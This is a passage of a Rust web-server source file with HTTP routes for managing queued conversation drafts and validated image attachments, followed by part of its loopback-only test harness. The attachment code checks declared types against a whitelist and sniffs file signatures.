3494        .await?
3495    };
3496    // Re-read so the spawned task appends to the record that now holds the
3497    // operator's turn, rather than to the snapshot taken before it.
3498    let talk = {
3499        let ui = Arc::clone(&ui);
3500        let id = id.clone();
3501        blocking(move || Ok(ui.talks.get(&id)?)).await?
3502    };
3503    let queued = talk.clone();
3504    let thinking = ui.is_thinking(&id);
3505    tokio::spawn(async move {
3506        let mut talk = talk;
3507        if let Err(e) = talk::respond(&mut talk, &talks, &cfg, &text).await {
3508            // `respond` records the failure in the transcript itself, which is
3509            // what the phone reads; this line is for the operator's terminal.
3510            tracing::warn!("talk {id} turn failed: {e:#}");
3511        }
3512        // Anything `talk::queue` added while the turn above was running is
3513        // still owed an answer - see `drain_loop`.
3514        drain_loop(talk, talks, cfg, id, turn_guard).await;
3515    });
3516
3517    // 202: the operator's message is recorded and a turn is running.
3518    Ok((StatusCode::ACCEPTED, Json(TalkView::new(queued, thinking))))
3519}
3520
3521/// `POST /api/talks/{id}/pending/resume` promotes a persisted draft without
3522/// changing it. The turn guard is the same per-talk ownership `talk_say`
3523/// holds, so duplicate recovery clicks cannot resume the CLI session twice.
3524async fn talk_pending_resume(
3525    State(ui): State<Arc<Ui>>,
3526    Path(id): Path<String>,
3527) -> ApiResult<(StatusCode, Json<TalkView>)> {
3528    let id = {
3529        let ui = Arc::clone(&ui);
3530        let asked = id.clone();
3531        blocking(move || resolve_talk(&ui.talks, &asked)).await?
3532    };
3533    let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
3534        return Err(ApiError::conflict(
3535            "a talk turn is already running; the queued draft will be handled by it",
3536        ));
3537    };
3538    let (talk, cfg) = {
3539        let ui = Arc::clone(&ui);
3540        let id = id.clone();
3541        blocking(move || {
3542            let talk = ui.talks.get(&id)?;
3543            if !talk.status.open() {
3544                return Err(ApiError::conflict(format!(
3545                    "talk {} is {} and takes no more turns",
3546                    talk.short(),
3547                    talk.status.as_str()
3548                )));
3549            }
3550            if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
3551                return Err(ApiError::conflict("there is no queued draft to resume"));
3552            }
3553            let (cfg, _) = Config::discover(&talk.repo, None)?;
3554            Ok((talk, cfg))
3555        })
3556        .await?
3557    };
3558    let view = TalkView::new(talk.clone(), true);
3559    let talks = ui.talks.clone();
3560    tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
3561    Ok((StatusCode::ACCEPTED, Json(view)))
3562}
3563
3564/// Drain [`talk::Talk::pending`] one turn at a time until nothing is left,
3565/// releasing `turn` only once a check finds it truly empty. Shared by both
3566/// callers that can end up owning a talk's turn slot with something already
3567/// queued for it: `talk_say`'s normal path, after its own `talk::respond`
3568/// call, and `talk_say`'s busy path, when it reclaims a slot the previous
3569/// holder just gave up - see the comment at that call site.
3570///
3571/// The release is folded into the final generation check under `turn`'s own
3572/// lock - the same lock [`Ui::begin_talk_turn`] takes to decide "busy or
3573/// free". Before its blocking `talk::drain`, this loop observes the queued
3574/// generation. A `say` that sees the turn busy writes its draft, then advances
3575/// that generation. Thus, if it lands while the drain is in flight, the final
3576/// check observes the advance and drains again; otherwise it releases the
3577/// claim while holding the same lock. This keeps the release/arrival handoff
3578/// atomic without holding the global claim mutex across filesystem I/O.
3579async fn drain_loop(mut talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
3580    let live_set = Arc::clone(&turn.turns);
3581    // `Option` rather than binding `turn` directly to a `_turn` that lives
3582    // for the whole function: releasing it has to happen by calling
3583    // `TalkTurnGuard::release` from inside the locked branch below, which
3584    // takes `self` by value. Left as a plain drop instead, `Drop` would still
3585    // remove the id - correctly, if this loop is ever left some other way -
3586    // but doing it there misses the lock this loop is already holding, which
3587    // is the exact gap `release` exists to close.
3588    let mut turn = Some(turn);
3589    loop {
3590        // `talk::drain` takes the store lock and can write/rename the talk
3591        // file. Keep the turn mutex out of that synchronous work: it protects
3592        // every talk's in-memory claim, not this talk's disk operation.
3593        let observed = live_set
3594            .lock()
3595            .unwrap_or_else(PoisonError::into_inner)
3596            .queued
3597            .get(&id)
3598            .copied()
3599            .unwrap_or(0);
3600        let drained = blocking({
3601            let talks = talks.clone();
3602            move || {
3603                let result = talk::drain(&mut talk, &talks);
3604                Ok((talk, result))
3605            }
3606        })
3607        .await;
3608        let (next_talk, result) = match drained {
3609            Ok(drained) => drained,
3610            Err(e) => {
3611                tracing::warn!(
3612                    status = %e.status,
3613                    message = %e.message,
3614                    "talk {id} could not start queued-text drain"
3615                );
3616                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
3617                turn.take()
3618                    .expect("held for the whole loop until released here")
3619                    .release(&mut live);
3620                break;
3621            }
3622        };
3623        talk = next_talk;
3624        let drained = match result {
3625            Ok(Some(drained)) => drained,
3626            Ok(None) => {
3627                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
3628                if live.queued.get(&id).copied().unwrap_or(0) != observed {
3629                    continue;
3630                }
3631                turn.take()
3632                    .expect("held for the whole loop until released here")
3633                    .release(&mut live);
3634                break;
3635            }
3636            Err(e) => {
3637                tracing::warn!("talk {id} could not drain queued text: {e:#}");
3638                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
3639                turn.take()
3640                    .expect("held for the whole loop until released here")
3641                    .release(&mut live);
3642                break;
3643            }
3644        };
3645        if let Err(e) = talk::respond(&mut talk, &talks, &cfg, &drained).await {
3646            tracing::warn!("talk {id} turn failed: {e:#}");
3647        }
3648    }
3649}
3650
3651/// Clear a queued draft only if it remains exactly the one the caller saw.
3652async fn talk_pending_clear(
3653    State(ui): State<Arc<Ui>>,
3654    Path(id): Path<String>,
3655    body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
3656) -> ApiResult<Json<TalkView>> {
3657    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3658    blocking(move || {
3659        let id = resolve_talk(&ui.talks, &id)?;
3660        let mut talk = ui.talks.get(&id)?;
3661        if !talk.status.open() {
3662            return Err(ApiError::conflict(format!(
3663                "talk {} is {} and takes no more turns",
3664                talk.short(),
3665                talk.status.as_str()
3666            )));
3667        }
3668        if !talk::clear_pending_if_matches(
3669            &mut talk,
3670            &ui.talks,
3671            &body.expected_text,
3672            &body.expected_attachments,
3673        )? {
3674            return Err(ApiError::conflict(
3675                "queued message changed; reload it before clearing",
3676            ));
3677        }
3678        let thinking = ui.is_thinking(&talk.id);
3679        Ok(Json(TalkView::new(talk, thinking)))
3680    })
3681    .await
3682}
3683
3684/// Atomically edit a queued draft's text while preserving its attachments.
3685/// The snapshot fields make a concurrent queue or drain a conflict rather
3686/// than silently discarding either message.
3687async fn talk_pending_edit(
3688    State(ui): State<Arc<Ui>>,
3689    Path(id): Path<String>,
3690    body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
3691) -> ApiResult<Json<TalkView>> {
3692    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3693    let (view, reclaimed) = blocking({
3694        let ui = Arc::clone(&ui);
3695        move || {
3696            let id = resolve_talk(&ui.talks, &id)?;
3697            let mut talk = ui.talks.get(&id)?;
3698            if !talk.status.open() {
3699                return Err(ApiError::conflict(format!(
3700                    "talk {} is {} and takes no more turns",
3701                    talk.short(),
3702                    talk.status.as_str()
3703                )));
3704            }
3705            if !talk::edit_pending_text(
3706                &mut talk,
3707                &ui.talks,
3708                &body.text,
3709                &body.expected_text,
3710                &body.expected_attachments,
3711            )? {
3712                return Err(ApiError::conflict(
3713                    "queued message changed; reload it before editing",
3714                ));
3715            }
3716            let claim = match ui.begin_queued_talk_turn(&id)? {
3717                Some(turn_guard) => {
3718                    let (cfg, _) = Config::discover(&talk.repo, None)?;
3719                    Some((talk.clone(), cfg, id.clone(), turn_guard))
3720                }
3721                None => None,
3722            };
3723            let thinking = ui.is_thinking(&id);
3724            Ok((TalkView::new(talk, thinking), claim))
3725        }
3726    })
3727    .await?;
3728    if let Some((talk, cfg, id, turn_guard)) = reclaimed {
3729        let talks = ui.talks.clone();
3730        tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
3731    }
3732    Ok(Json(view))
3733}
3734
3735/// `POST /api/talks/{id}/close`.
3736async fn talk_close(
3737    State(ui): State<Arc<Ui>>,
3738    Path(id): Path<String>,
3739) -> ApiResult<Json<TalkView>> {
3740    blocking(move || {
3741        let id = resolve_talk(&ui.talks, &id)?;
3742        let mut talk = ui.talks.get(&id)?;
3743        talk::close(&mut talk, &ui.talks)?;
3744        let thinking = ui.is_thinking(&talk.id);
3745        Ok(Json(TalkView::new(talk, thinking)))
3746    })
3747    .await
3748}
3749
3750/// `POST /api/talks/{id}/reopen`.
3751async fn talk_reopen(
3752    State(ui): State<Arc<Ui>>,
3753    Path(id): Path<String>,
3754) -> ApiResult<Json<TalkView>> {
3755    blocking(move || {
3756        let id = resolve_talk(&ui.talks, &id)?;
3757        let mut talk = ui.talks.get(&id)?;
3758        talk::reopen(&mut talk, &ui.talks)?;
3759        let thinking = ui.is_thinking(&talk.id);
3760        Ok(Json(TalkView::new(talk, thinking)))
3761    })
3762    .await
3763}
3764
3765/// `DELETE /api/talks/{id}`.
3766///
3767/// Removes the conversation's record and artifacts outright, unlike
3768/// [`talk_close`] which keeps the record as history. A turn already in
3769/// flight is not refused here the way [`run_delete`] refuses a live run:
3770/// [`talk::record`] and the tail of [`talk::turn`] check for themselves,
3771/// under [`Talks::guard`], that the record they are about to write back is
3772/// still there, so a delete racing a turn is safe without this route having
3773/// to know a turn is running at all.
3774async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
3775    blocking(move || {
3776        let id = resolve_talk(&ui.talks, &id)?;
3777        ui.talks.remove(&id)?;
3778        Ok(StatusCode::NO_CONTENT)
3779    })
3780    .await
3781}
3782
3783/// Expand an id or short id to exactly one talk id.
3784fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
3785    pick(store.list().into_iter().map(|t| t.id).collect(), id, "talk")
3786}
3787
3788/// `POST /api/talks/{id}/attachments` - upload one image to attach to a
3789/// future `talk-say`.
3790async fn talk_attachment_post(
3791    State(ui): State<Arc<Ui>>,
3792    Path(id): Path<String>,
3793    headers: HeaderMap,
3794    body: Bytes,
3795) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
3796    let mime = validate_attachment(&headers, &body)?;
3797    let name = filename_header(&headers);
3798    let data = body.to_vec();
3799    blocking(move || {
3800        let id = resolve_talk(&ui.talks, &id)?;
3801        let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
3802        Ok((StatusCode::CREATED, Json(att)))
3803    })
3804    .await
3805}
3806
3807/// `GET /api/talks/{id}/attachments/{att}` - the stored image back, for a
3808/// `<img>` tag in the transcript.
3809async fn talk_attachment_get(
3810    State(ui): State<Arc<Ui>>,
3811    Path((id, att)): Path<(String, String)>,
3812) -> ApiResult<Response> {
3813    blocking(move || {
3814        let id = resolve_talk(&ui.talks, &id)?;
3815        let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
3816            return Err(ApiError::not_found(format!(
3817                "talk {id} has no attachment `{att}`"
3818            )));
3819        };
3820        Ok(attachment_response(&meta.mime, data))
3821    })
3822    .await
3823}
3824
3825/// Validate an attachment upload's declared `Content-Type` and the bytes
3826/// themselves, returning the canonical mime on success.
3827///
3828/// Two checks, both required: the header has to name one of
3829/// [`ATTACHMENT_MIME_WHITELIST`] (which is what keeps SVG out - it is
3830/// simply never in the list, active content rather than a picture, the same
3831/// exclusion [`asset_content_type`]'s doc explains), and the file's own
3832/// magic number has to agree. The second is what stops a mislabeled upload -
3833/// an HTML file sent as `Content-Type: image/png` - from ever reaching disk;
3834/// a declared type is a claim, not a fact, so it is never trusted alone.
3835fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
3836    if data.len() > ATTACHMENT_MAX_BYTES {
3837        return Err(ApiError::bad_request(format!(
3838            "attachment is {} bytes, over the {} MiB limit",
3839            data.len(),
3840            ATTACHMENT_MAX_BYTES / (1024 * 1024)
3841        ))
3842        .with_status(StatusCode::PAYLOAD_TOO_LARGE));
3843    }
3844    if data.is_empty() {
3845        return Err(ApiError::bad_request("attachment is empty"));
3846    }
3847    let declared = declared_mime(headers)?;
3848    match sniffed_mime(data) {
3849        Some(sniffed) if sniffed == declared => Ok(declared),
3850        Some(sniffed) => Err(ApiError::bad_request(format!(
3851            "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
3852        ))),
3853        None => Err(ApiError::bad_request(
3854            "the file's bytes do not match any accepted image format",
3855        )),
3856    }
3857}
3858
3859/// The declared `Content-Type`, checked against [`ATTACHMENT_MIME_WHITELIST`]
3860/// and nothing else - parameters like `; charset=` are stripped, but the
3861/// value itself is not otherwise interpreted.
3862fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
3863    let raw = headers
3864        .get(header::CONTENT_TYPE)
3865        .and_then(|v| v.to_str().ok())
3866        .unwrap_or("")
3867        .split(';')
3868        .next()
3869        .unwrap_or("")
3870        .trim()
3871        .to_ascii_lowercase();
3872    ATTACHMENT_MIME_WHITELIST
3873        .iter()
3874        .find(|&&m| m == raw)
3875        .copied()
3876        .ok_or_else(|| {
3877            if raw == "image/svg+xml" {
3878                ApiError::bad_request(
3879                    "SVG is not accepted: it can carry active content (e.g. a <script>), \
3880                     not just a picture",
3881                )
3882            } else if raw.is_empty() {
3883                ApiError::bad_request("Content-Type is required for an attachment upload")
3884            } else {
3885                ApiError::bad_request(format!(
3886                    "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
3887                     image/gif or image/webp"
3888                ))
3889            }
3890        })
3891}
3892
3893/// Identify an image by its magic number, independent of whatever
3894/// `Content-Type` claimed.
3895fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
3896    if data.starts_with(b"\x89PNG\r\n\x1a\n") {
3897        Some("image/png")
3898    } else if data.starts_with(b"\xff\xd8\xff") {
3899        Some("image/jpeg")
3900    } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
3901        Some("image/gif")
3902    } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
3903        Some("image/webp")
3904    } else {
3905        None
3906    }
3907}
3908
3909/// The operator's own filename, from [`FILENAME_HEADER`], kept only for
3910/// display - see [`talk::Attachment::name`]'s doc on why it never
3911/// contributes to a path. A missing or blank header (curl without it, an
3912/// older front end) falls back to a generic name rather than refusing the
3913/// upload over a field that is cosmetic.
3914fn filename_header(headers: &HeaderMap) -> String {
3915    headers
3916        .get(FILENAME_HEADER)
3917        .and_then(|v| v.to_str().ok())
3918        .map(str::trim)
3919        .filter(|s| !s.is_empty())
3920        .unwrap_or("attachment")
3921        .to_owned()
3922}
3923
3924/// Every attachment `GET` response: the mime re-validated against the same
3925/// closed whitelist the upload route enforces - never the string trusted
3926/// verbatim off disk - plus `X-Content-Type-Options: nosniff`, so a browser
3927/// cannot decide it knows better than the type we send. Unlike a panel asset
3928/// there is no [`PANEL_CSP`] here: this is a plain image the phone's own
3929/// document renders inline, not agent-authored HTML in a sandboxed frame.
3930fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
3931    let content_type = ATTACHMENT_MIME_WHITELIST
3932        .iter()
3933        .find(|&&m| m == mime)
3934        .copied()
3935        .unwrap_or("application/octet-stream");
3936    (
3937        [
3938            (header::CONTENT_TYPE, content_type),
3939            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
3940        ],
3941        body,
3942    )
3943        .into_response()
3944}
3945
3946/// The configuration for a repository, read off the disk for this request.
3947///
3948/// Through [`blocking`] because discovery reads and merges several TOML files,
3949/// and because the alternative - caching it in [`Ui`] at startup - would mean
3950/// the operator's phone kept interviewing with a roster they had already
3951/// changed, with no way to reload it but restarting the server they are not
3952/// sitting in front of.
3953async fn config_for(repo: &FsPath) -> ApiResult<Config> {
3954    let repo = repo.to_path_buf();
3955    blocking(move || {
3956        let (cfg, _) = Config::discover(&repo, None)?;
3957        Ok(cfg)
3958    })
3959    .await
3960}
3961
3962/// The one prefix rule, used for both runs and tasks: a leading match for a
3963/// full id, a trailing match for the short form an operator reads off a
3964/// report. Written here rather than borrowed from `queue::resolve_id` because
3965/// the UI needs the two failures as different status codes, and telling them
3966/// apart from an error message is not something to build a route on.
3967fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
3968    let mut hits = ids
3969        .into_iter()
3970        .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
3971    match (hits.next(), hits.next()) {
3972        (Some(one), None) => Ok(one),
3973        (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
3974        (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
3975            "`{prefix}` matches more than one {what}, including {a} and {b}"
3976        ))),
3977    }
3978}
3979
3980#[cfg(test)]
3981mod tests {
3982    use pretty_assertions::assert_eq;
3983    use serde_json::Value;
3984    use tempfile::TempDir;
3985    use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
3986
3987    use super::*;
3988    use crate::config::Config;
3989    use crate::queue::{Source, TaskStatus};
3990
3991    /// A home with a queue and a runs directory, and a router serving it on
3992    /// loopback. `tower`'s `oneshot` is not reachable - `tower` is axum's
3993    /// dependency, not ours - so the tests drive a real socket, which has the
3994    /// side benefit of asserting the status line and content types the phone
3995    /// actually receives.
3996    struct Fixture {
3997        home: TempDir,
3998        addr: SocketAddr,
3999    }
4000
4001    impl Fixture {
4002        async fn start() -> Self {
4003            Self::with_loop(launch_idle).await
4004        }
4005
4006        /// A fixture whose loop is `launch`.
4007        async fn with_loop(launch: Launch) -> Self {
4008            let home = TempDir::new().expect("temp home");
4009            let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch).await;
4010            Self { home, addr }
4011        }
4012
4013        /// A fixture whose `ui.repo` is a real directory rather than the
4014        /// usual placeholder - for the routes that read config off it
4015        /// (`GET /api/repos`) and would otherwise have nothing to discover.
4016        async fn with_repo(repo: PathBuf) -> Self {
4017            let home = TempDir::new().expect("temp home");
4018            let addr = Self::serve(home.path(), repo, launch_idle).await;
4019            Self { home, addr }
4020        }
4021
4022        async fn serve(home: &FsPath, repo: PathBuf, launch: Launch) -> SocketAddr {
4023            let queue = Queue::at(home.join("queue"));
4024            let runs = home.join("runs");
4025            std::fs::create_dir_all(&runs).expect("runs dir");
4026            let worktrees = home.join("wt").join("magi");
4027            std::fs::create_dir_all(&worktrees).expect("worktrees dir");
4028            let ui = Ui::new(
4029                queue,
4030                Questions::at(home.join("questions")),
4031                Talks::at(home.join("talks")),
4032                runs,
4033                home.to_path_buf(),
4034                repo,
4035            )
4036            .with_worktrees_root(worktrees)
4037            .with_launch(launch);
4038            let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
4039                .await
4040                .expect("bind loopback");
4041            let addr = listener.local_addr().expect("local addr");
4042            tokio::spawn(async move {
4043                let _ = axum::serve(listener, ui.router()).await;
4044            });
4045            addr
4046        }
4047
4048        fn queue(&self) -> Queue {
4049            Queue::at(self.home.path().join("queue"))
4050        }
4051
4052        fn questions(&self) -> Questions {
4053            Questions::at(self.home.path().join("questions"))
4054        }
4055
4056        fn talks(&self) -> Talks {
4057            Talks::at(self.home.path().join("talks"))
4058        }
4059
4060        fn runs(&self) -> PathBuf {
4061            self.home.path().join("runs")
4062        }
4063
4064        async fn get(&self, path: &str) -> Res {
4065            request(self.addr, "GET", path, None).await
4066        }
4067
4068        /// The status and headers without the body, which is how the front end
4069        /// preflights a panel: a sandboxed frame is opaque to the parent
4070        /// document, so the only way to tell "no panel" from "a panel that
4071        /// rendered blank" is to ask before mounting.
4072        async fn head(&self, path: &str) -> Res {
4073            request(self.addr, "HEAD", path, None).await
4074        }
4075
4076        async fn post(&self, path: &str, body: Option<&str>) -> Res {
4077            request(self.addr, "POST", path, body).await
4078        }
4079
4080        async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
4081            request_with(self.addr, "GET", path, None, extra).await
4082        }
4083
4084        async fn delete(&self, path: &str) -> Res {
4085            request(self.addr, "DELETE", path, None).await
4086        }
4087
4088        /// `POST` a raw body with its own headers - see [`request_bytes`].
4089        async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
4090            request_bytes(self.addr, path, headers, body).await
4091        }
4092    }
4093
4094    struct Res {
4095        status: u16,
4096        headers: String,
4097        /// The header block with its original casing, for the assertions that
4098        /// compare a header *value* rather than looking for a name. Lowercasing
4099        /// a CSP would hide a directive spelled with a capital letter, and the
4100        /// whole point of that test is that the string is exactly right.
4101        head: String,
4102        body: String,
4103        /// The body before any UTF-8 handling, for the routes that serve
4104        /// something other than text. A panel asset is a PNG as often as not,
4105        /// and `from_utf8_lossy` would silently replace half of it.
4106        bytes: Vec<u8>,
4107    }
4108
4109    impl Res {
4110        fn json(&self) -> Value {
4111            serde_json::from_str(&self.body)
4112                .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
4113        }
4114
4115        /// One header's value verbatim, or `None` when it was not sent.
4116        fn header(&self, name: &str) -> Option<&str> {
4117            self.head.lines().find_map(|line| {
4118                let (key, value) = line.split_once(':')?;
4119                key.trim()
4120                    .eq_ignore_ascii_case(name)
4121                    .then(|| value.trim_start().trim_end_matches('\r'))
4122            })
4123        }
4124    }
4125
4126    /// A one-shot HTTP/1.1 client. `Connection: close` is what lets the reply
4127    /// be read to end-of-stream without parsing framing.
4128    async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
4129        request_with(addr, method, path, body, &[]).await
4130    }
4131
4132    /// As [`request`], with extra request headers - conditional GETs need
4133    /// `If-None-Match`, and a server that sets an `ETag` it never compares is
4134    /// worse than one that sets none.
4135    async fn request_with(
4136        addr: SocketAddr,
4137        method: &str,
4138        path: &str,
4139        body: Option<&str>,
4140        extra: &[(&str, &str)],
4141    ) -> Res {
4142        let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
4143        for (name, value) in extra {
4144            head.push_str(&format!("{name}: {value}\r\n"));
4145        }
4146        if let Some(body) = body {
4147            head.push_str("Content-Type: application/json\r\n");
4148            head.push_str(&format!("Content-Length: {}\r\n", body.len()));
4149        }
4150        head.push_str("\r\n");
4151        if let Some(body) = body {
4152            head.push_str(body);
4153        }
4154        let mut socket = tokio::net::TcpStream::connect(addr)
4155            .await
4156            .expect("connect to the test server");
4157        socket
4158            .write_all(head.as_bytes())
4159            .await
4160            .expect("write request");
4161        let mut raw = Vec::new();
4162        socket.read_to_end(&mut raw).await.expect("read response");
4163        // Split on the raw bytes rather than on a lossy string, so a binary
4164        // body survives to be compared byte for byte.
4165        let split = raw
4166            .windows(4)
4167            .position(|w| w == b"\r\n\r\n")
4168            .expect("a header block");
4169        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
4170        let bytes = raw[split + 4..].to_vec();
4171        let status = head
4172            .lines()
4173            .next()
4174            .and_then(|line| line.split_whitespace().nth(1))
4175            .and_then(|code| code.parse().ok())
4176            .expect("a status line");
4177        Res {
4178            status,
4179            headers: head.to_lowercase(),
4180            head,
4181            body: String::from_utf8_lossy(&bytes).into_owned(),
4182            bytes,
4183        }
4184    }
4185
4186    /// A `POST` carrying a raw binary body and its own headers, for the
4187    /// attachment upload route - `request_with` only ever sends
4188    /// `Content-Type: application/json`, which is wrong for an image and
4189    /// would corrupt anything not valid UTF-8 by round-tripping it through
4190    /// `&str` first.
4191    async fn request_bytes(
4192        addr: SocketAddr,
4193        path: &str,
4194        headers: &[(&str, &str)],
4195        body: &[u8],
4196    ) -> Res {
4197        let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
4198        for (name, value) in headers {
4199            head.push_str(&format!("{name}: {value}\r\n"));
4200        }
4201        head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
4202        let mut socket = tokio::net::TcpStream::connect(addr)
4203            .await
4204            .expect("connect to the test server");
4205        socket
4206            .write_all(head.as_bytes())
4207            .await
4208            .expect("write request head");
4209        socket.write_all(body).await.expect("write request body");
4210        let mut raw = Vec::new();
4211        socket.read_to_end(&mut raw).await.expect("read response");
4212        let split = raw
4213            .windows(4)
4214            .position(|w| w == b"\r\n\r\n")
4215            .expect("a header block");
4216        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
4217        let bytes = raw[split + 4..].to_vec();
4218        let status = head
4219            .lines()
4220            .next()
4221            .and_then(|line| line.split_whitespace().nth(1))
4222            .and_then(|code| code.parse().ok())
4223            .expect("a status line");
4224        Res {
4225            status,
4226            headers: head.to_lowercase(),
4227            head,
4228            body: String::from_utf8_lossy(&bytes).into_owned(),
4229            bytes,
4230        }
4231    }
4232
4233    /// A run on disk, without touching the process-global magi home.
4234    fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
4235        let mut state = RunState::new(
4236            PathBuf::from("/repo/magi"),
4237            "main".to_owned(),
4238            "0123456789abcdef".to_owned(),
4239            "Add a web UI\n\nMobile first.".to_owned(),
4240            Config::default(),
4241        );
4242        state.id = id.to_owned();
4243        state.status = status;
4244        let dir = runs.join(id);
4245        std::fs::create_dir_all(&dir).expect("run dir");
4246        std::fs::write(
4247            dir.join("run.json"),
4248            serde_json::to_string_pretty(&state).expect("serialize run"),
4249        )
4250        .expect("write run.json");
4251    }
4252
4253    fn write_daemon(home: &FsPath, updated_at: Timestamp) {
4254        let body = serde_json::json!({
4255            "schema": 1,
4256            "pid": 4242,
4257            "started_at": Timestamp::now().to_string(),
4258            "updated_at": updated_at.to_string(),
4259            "idle": false,
4260            "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
4261            "completed": 7,
4262            "polls": 143,
4263        });
4264        std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
4265    }
4266
4267    /// A loop that starts, finds nothing to do, and waits to be told to stop.
4268    ///
4269    /// No test in this file may start the real loop - see [`Ui::launch`] for
4270    /// why - so this stands in for the only thing the routes need a loop to
4271    /// do: keep running until `Stop` is set, then return. A real
4272    /// `serve_until` here would resolve its queue and its status file through
4273    /// the process-global magi home, claim whatever it found in the
4274    /// operator's live backlog, overwrite the status file of the `magi serve`
4275    /// that owns it, and spend real agent quota on a real competition.
4276    fn launch_idle(
4277        _opts: daemon::Opts,
4278        stop: daemon::Stop,
4279    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
4280        Box::pin(async move {
4281            while !stop.stopped() {
4282                tokio::time::sleep(Duration::from_millis(2)).await;
4283            }
4284            Ok(())
4285        })
4286    }
4287
4288    /// A loop that fails on the way up, the way one whose home has gone
4289    /// read-only does.
4290    fn launch_broken(
4291        _opts: daemon::Opts,
4292        _stop: daemon::Stop,
4293    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
4294        Box::pin(async {
4295            Err(anyhow::anyhow!(
4296                "publish the daemon status file: read-only file system"
4297            ))
4298        })
4299    }
4300
4301    /// The address the parking loop knocks on, and what it heard there.
4302    ///
4303    /// A [`Launch`] is a plain function pointer, so a stand-in loop cannot
4304    /// capture a fixture's address; this is how it is handed one. Only
4305    /// `the_deck_answers_while_it_parks_and_frees_the_address_first` touches
4306    /// these, so nothing else in this binary can race them.
4307    static PARK_KNOCK: std::sync::Mutex<Option<SocketAddr>> = std::sync::Mutex::new(None);
4308    static PARK_HEARD: std::sync::Mutex<Option<u16>> = std::sync::Mutex::new(None);
4309
4310    /// A loop that, once it is asked to stop, checks the deck still answers
4311    /// before it goes.
4312    ///
4313    /// It stands in for a run mid-node: `finish_loop` waits for this future,
4314    /// so the request it makes is strictly inside the park window - no sleep
4315    /// and no polling needed to be sure of that.
4316    fn launch_knocking_on_the_way_out(
4317        _opts: daemon::Opts,
4318        stop: daemon::Stop,
4319    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
4320        Box::pin(async move {
4321            while !stop.stopped() {
4322                tokio::time::sleep(Duration::from_millis(2)).await;
4323            }
4324            let addr = PARK_KNOCK
4325                .lock()
4326                .expect("park knock")
4327                .expect("the test set an address");
4328            let heard = request(addr, "GET", "/api/health", None).await.status;
4329            *PARK_HEARD.lock().expect("park heard") = Some(heard);
4330            Ok(())
4331        })
4332    }
4333
4334    /// The loop view once `want` accepts it.
4335    ///
4336    /// Polled rather than asserted straight after the POST because stopping
4337    /// is deliberately not instant - that is the contract - and rather than
4338    /// slept through because a fixed wait is either flaky or slow. Two
4339    /// seconds is far longer than a stand-in loop needs and still finite, so
4340    /// a genuine hang fails the test instead of hanging the suite.
4341    async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
4342        for _ in 0..200 {
4343            let view = fx.get("/api/loop").await.json();
4344            if want(&view) {
4345                return view;
4346            }
4347            tokio::time::sleep(Duration::from_millis(10)).await;
4348        }
4349        panic!(
4350            "the loop never settled: {}",
4351            fx.get("/api/loop").await.json()
4352        );
4353    }
4354
4355    /// File an open question directly in the store the server reads.
4356    fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
4357        let store = fx.questions();
4358        let mut q = Question::new(
4359            "20260902-000000-beef".to_owned(),
4360            "implement".to_owned(),
4361            "impl-A".to_owned(),
4362            summary.to_owned(),
4363            "because it matters".to_owned(),
4364            choices.iter().map(|c| (*c).to_owned()).collect(),
4365        );
4366        store.put(&mut q).expect("put question");
4367        q.id
4368    }
4369
4370    /// A question with a panel the server can serve, plus the named assets.
4371    ///
4372    /// Written through `Questions::put_panel` rather than by laying out the
4373    /// directory here, so these tests exercise the same on-disk shape the
4374    /// agents produce and cannot pass against a layout only the tests know.
4375    fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
4376        let store = fx.questions();
